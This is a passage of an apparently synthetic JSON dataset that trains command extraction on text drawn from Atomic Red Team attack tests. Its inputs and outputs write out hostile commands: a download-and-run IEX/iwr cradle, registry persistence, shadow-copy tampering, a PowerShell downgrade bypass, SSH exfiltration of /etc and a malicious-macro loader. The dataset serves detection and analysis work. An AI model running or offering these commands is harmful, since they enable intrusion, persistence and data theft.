    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To ensure a service persists in Safe Mode, modify the registry by running the following command: REG ADD \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal\\AtomicSafeMode\" /VE /T REG_SZ /F /D \"Service\"",
    "output": "{\"command_list\": [\"REG ADD \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\\\Minimal\\\\AtomicSafeMode\\\" /VE /T REG_SZ /F /D \\\"Service\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To deploy the Remote Administration Tool using PDQ Deploy Software and launch the PDQ console, execute this command: \"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\"",
    "output": "{\"command_list\": [\"\\\"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    During ransomware events, adversaries commonly resize the shadowstorage volume to avoid recreation of shadow copies, using this command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%",
    "output": "{\"command_list\": [\"vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To bypass modern security features, you can run an outdated PowerShell version 2 with the following command: PowerShell -version 2 -command '#{v2_command}'",
    "output": "{\"command_list\": [\"PowerShell -version 2 -command '#{v2_command}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using the reg.exe utility in cmd, you can disable the volume icon Group Policy for the logged-in user with this registry modification command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v HideSCAVolume /t REG_DWORD /d 1 /f. Be aware that certain Group Policy updates might need a reboot to become active. For more context on how malware exploits this method, refer to: https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details.",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\" /v HideSCAVolume /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation tests SSH exfiltration by contacting a remote domain with the command: ssh #{domain} \"(cd /etc && tar -zcvf - *)\" > ./etc.tar.gz, which creates a compressed backup of the remote /etc directory locally.",
    "output": "{\"command_list\": [\"ssh #{domain} \\\"(cd /etc && tar -zcvf - *)\\\" > ./etc.tar.gz\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This attack executes JavaScript through CMD by spawning wscript.exe, with execution handled via the following Invoke-MalDoc command to inject VBA into Office files: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \"   Open `\"#{jse_path}`\" For Output As #1`n   Write #1, `\"WScript.Quit`\"`n   Close #1`n   a = Shell(`\"cmd.exe /c wscript.exe //E:jscript #{jse_path}`\", vbNormalFocus)`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macrocode = \\\"   Open `\\\"#{jse_path}`\\\" For Output As #1`n   Write #1, `\\\"WScript.Quit`\\\"`n   Close #1`n   a = Shell(`\\\"cmd.exe /c wscript.exe //E:jscript #{jse_path}`\\\", vbNormalFocus)`n\\\"\\nInvoke-MalDoc -macroCode $macrocode -officeProduct \\\"#{ms_product}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory 